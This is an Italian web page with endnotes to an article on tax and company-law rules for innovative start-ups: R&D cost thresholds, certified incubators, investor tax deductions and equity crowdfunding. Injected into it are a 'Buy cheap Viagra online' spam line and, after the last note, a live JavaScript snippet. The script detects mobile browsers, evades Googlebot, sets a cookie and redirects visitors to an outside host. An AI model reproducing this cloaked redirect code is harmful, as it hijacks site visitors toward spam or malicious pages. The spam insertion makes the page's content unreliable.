(9) Originariamente tale percentuale era stata individuata nel 30%, successivamente diminuita al 20% in sede di conversione del D.L. n. 179/2012 e infine attestatasi al 15% per effetto di quanto previsto dall’art. 9, comma 16, lett. b), del D.L. 28 giugno 2013, n. 76 (convertito, con modificazioni, dalla legge 9 agosto 2013, n. 99).

(10) Cfr. S. Guidantoni, Le start up innovative e la definizione di costi di ricerca e sviluppo, in il fisco, n. 14/2013, dopo aver ampiamente descritto i principi che sottendono la classificazione dei costi di R&D sia nel principio contabile nazionale Oic n. 24 che in quello internazionale Ias n. 38 conclude per l’applicazione, ai fini della verifica del limite del 15%, della tripartizione prevista dal principio nazionale.

(11) Ai fini della capitabilizzabilità dei costi, il principio Oic n. 24 richiede che essi: 1. si riferiscano a un prodotto o processo chiaramente definito, identificato e misurabile; 2. si riferiscano a un progetto realizzabile e tecnicamente fattibile per il quale l’impresa dispone o disporrà delle necessarie risorse finanziarie e 3. siano recuperabili tramite ricavi che nel futuro si genereranno dall’applicazione del progetto stesso.

(12) Alternativamente alla rispetto di detta percentuale, il “decreto lavoro” ha introdotto l’alternativa che almeno 2/3 della forza lavoro complessiva sia in possesso di una laurea magistrale.

(13) Ai fini della verifica dell’esperienza nel supporto alle start up, l’art. 25, settimo comma, del D.L. n. 179/2012, dispone che il rappresentante legale presenti presso il Registro delle Imprese, una autocertificazione con cui attesti il rispetto dei limiti individuati sempre con il D.M. 23 febbraio 2013 in tema di: – numero di candidature di progetti di costituzione e/o incubazione di start up innovative ricevute e valutate in corso d’anno; – numero di start up innovative avviate e ospitate in corso d’anno; – numero di start up innovative uscite nell’anno; – numero complessivo di collaboratori e personale ospitato; – percentuale di variazione del numero complessivo degli occupati rispetto all’anno precedente; – tasso di crescita media del valore della produzione delle start up innovative incubate; – capitale di rischio o finanziamenti, messi a disposizione dell’Unione europea, dello Stato e delle regioni, raccolti a favore delle start up innovative incubate; – numero di brevetti registrati dalle start up innovative incubate in considerazione del relativo settore merceologico di appartenenza.

(14) Ai sensi dell’art. 2446 c.c.: «Quando risulta che il capitale è diminuito di oltre un terzo in conseguenza di perdite, gli amministratori o il consiglio di gestione, e nel caos di loro inerzia il collegio sindacale ovvero il consiglio di sorveglianza, devono senza indugio convocare l’assemblea per gli opportuni provvedimenti … Se entro l’esercizio successivo la perdita non risulta diminuita a meno di un terzo, l’assemblea ordinaria o il consiglio di sorveglianza che approva il bilancio di tale esercizio deve ridurre il capitale in proporzione delle perdite accertate». Il successivo art. 2482-bis c.c. disciplina in maniera del tutto similare la fattispecie nel caso di S.r.l.

(15) In senso conforme G. Andreani – A. Tubelli, op. cit., 3228.

(16) L’art. 2, terzo comma, lett. d), del D.M. 30 gennaio 2014, decreto con cui è disciplinata l’agevolazione fiscale, esclude dal novero dei soggetti che possono fruire dell’agevolazione le start up innovative e gli incubatori certificati, gli organismi di investimento collettivo del risparmio, nonché le altre società di capitali che investono prevalentemente in start up innovative.

(17) Cfr. F. Giommoni, Gli incentivi fiscali per gli investimenti nelle start up innovative, in La gestione straordinaria delle imprese, n. 2/2014.

(18) È di tutta evidenza come, per estendere l’agevolazione al 2016, sarà necessario riattivare l’iter autorizzativo presso Bruxelles.

(19) Ai sensi dell’art. 25, quarto comma, del D.L. n. 179/2012, si definiscono tali le imprese che, nel rispetto dei requisiti precedentemente descritti e individuati ai precedenti secondo e terzo comma, operano in via esclusiva nei settori di cui all’art. 2, primo comma, del D.Lgs. n. 155/2006.

(20) Ne deriva che il limite massimo di detrazione IRPEF sarà pari a 125.000 euro, mentre il risparmio IRES sarà di 133.650 euro.

Buy cheap Viagra online

(21) Cfr. F. Giommoni, op. cit., il quale sottolinea come «stante lo specifico riferimento al “capitale” e al “sovrapprezzo” deve ritenersi che ai fini dell’agevolazione in esame non rilevino anche altre forme di apporto nel patrimonio netto della start up innovativa caratterizzate dall’assenza dell’obbligo di restituzione delle somme apportate».

(22) Nel caso di conferimento tramite conversione di obbligazioni, la decorrenza si ha a partire dal periodo di imposta in cui ha effetto la conversione.

(23) Per approfondimenti in merito alla differenti forme di crowdfunding si rimanda a M. Pinto, L’equity based crowdfunding in Italia ai di fuori delle fattispecie regolate dal “Decreto Crescita”, in Le società, n. 7/2013.

(24) Senza tralasciare l’informazione relativa alla quote sottoscritte dagli investitori professionali, le fondazioni bancarie e gli incubatori di start up poiché essi hanno l’obbligo di sottoscrivere almeno il 5% del capitale antecedentemente la pubblicazione dell’offerta.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *